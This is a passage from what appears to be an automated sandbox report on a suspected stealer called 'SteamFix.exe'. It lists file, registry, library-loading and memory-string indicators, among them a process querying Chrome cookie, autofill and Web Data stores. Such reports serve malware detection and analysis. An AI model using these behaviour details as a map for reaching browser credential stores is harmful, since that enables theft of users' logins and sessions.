Data\AutofillStates" at 00000000-00000992-00000C17-1583499633 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics" at 00000000-00000992-00000C17-1583500203 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation" at 00000000-00000992-00000C17-1583503425 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CommerceHeuristics" at 00000000-00000992-00000C17-1583504205 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CookieReadinessList" at 00000000-00000992-00000C17-1583504911 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad" at 00000000-00000992-00000C17-1583505824 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny" at 00000000-00000992-00000C17-1583506433 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default" at 00000000-00000992-00000C17-1583518600 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" at 00000000-00000992-00000C17-1583936824 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" at 00000000-00000992-00000C17-1586298732 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" at 00000000-00000992-00000C17-1586446944 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies" at 00000000-00000992-00000C17-1587593867 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded" at 00000000-00000992-00000C17-1587595112 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache" at 00000000-00000992-00000C17-1587596050 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache" at 00000000-00000992-00000C17-15875967773a:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")3b:T4c1c,"SteamFix.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008176) "SteamFix.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008176) "SearchUI.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00000992) "SearchUI.exe" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00000992) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006948) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00006948) "SearchUI.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007428) "SearchUI.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005984) "SearchUI.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005984) "smss.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001372) "smss.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001372)3c:T18f6,"select __RELPATH, Name from Win32_VideoController" (Source: 00000000-00000992.00000001.197869.03BC7000.00000004.mdmp, Indicator: "select __relpath, name from win32_videocontroller") "CREATE TABLE x" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "create table x") "CREATE TABLE %Q.'%q_%q'(%s)%s" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "create table %q.'%q_%q'(%s)%s"), "SELECT word rank NULL langid id FROM "%w"."%w_vocab"%s" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select word rank null langid id from "%w"."%w_vocab"%s"), "SELECT rowid rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select rowid rank from %q.%q order by %s("%w"%s%s) %s"), "INSERT INTO"%w"."%w_rowid"(rowid,nodeno)VALUES(?1,?2)ON CONFLICT(rowid)DO UPDATE SET nodeno=excluded.nodeno" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "insert into"%w"."%w_rowid"(rowid,nodeno)values(?1,?2)on conflict(rowid)do update set nodeno=excluded.nodeno"), "CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY,nodeno" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "create table "%w"."%w_rowid"(rowid integer primary key,nodeno") "SELECT iLang, cFrom, cTo, iCost FROM "%w" WHERE iLang>=0 ORDER BY iLang" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select ilang, cfrom, cto, icost from "%w" where ilang>=0 order by ilang") "SELECT idx,count(*) FROM %Q.sqlite_stat4 GROUP BY idx COLLATE nocase" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select idx,count(*) from %q.sqlite_stat4 group by idx collate nocase"), "CREATE TABLE x(_shape" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "create table x(_shape") "UPDATE OR %s "%w"."%w_vocab" SET id=%lld, rank=%d, langid=%d, word=%Q, k1=nullif(%Q,%Q), k2=%Q WHERE id=%lld" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update or %s "%w"."%w_vocab" set id=%lld, rank=%d, langid=%d, word=%q, k1=nullif(%q,%q) k2=%q where id=%lld"), "DELETE FROM "%w"."%w_vocab" WHERE id=%lld" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "delete from "%w"."%w_vocab" where id=%lld"), "SELECT*FROM"%w".%s ORDER BY rowid" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select*from"%w".%s order by rowid"), "SELECT*FROM"%w".%s WHERE %s ORDER BY rowid" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select*from"%w".%s where %s order by rowid"), "UPDATE %Q.sqlite_master SET rootpage=%d WHERE #%d AND rootpage=#%d" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update %q.sqlite_master set rootpage=%d where #%d and rootpage=#%d"), "UPDATE %Q.sqlite_master SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update %q.sqlite_master set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "UPDATE %Q.sqlite_master SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update %q.sqlite_master set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d"), "CREATE TABLE x(%.*s INT" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "create table x(%.*s int") "SELECT %s FROM %s AS T" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select %s from %s as t") "DELETE FROM %Q.%s WHERE %s=%Q" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "delete from %q.%s where %s=%q") "DELETE FROM %Q.sqlite_sequence WHERE name=%Q" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "delete from %q.sqlite_sequence where name=%q") "SELECT * FROM %Q.%Q" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select * from %q.%q") "UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update "%w".sqlite_sequence set name = 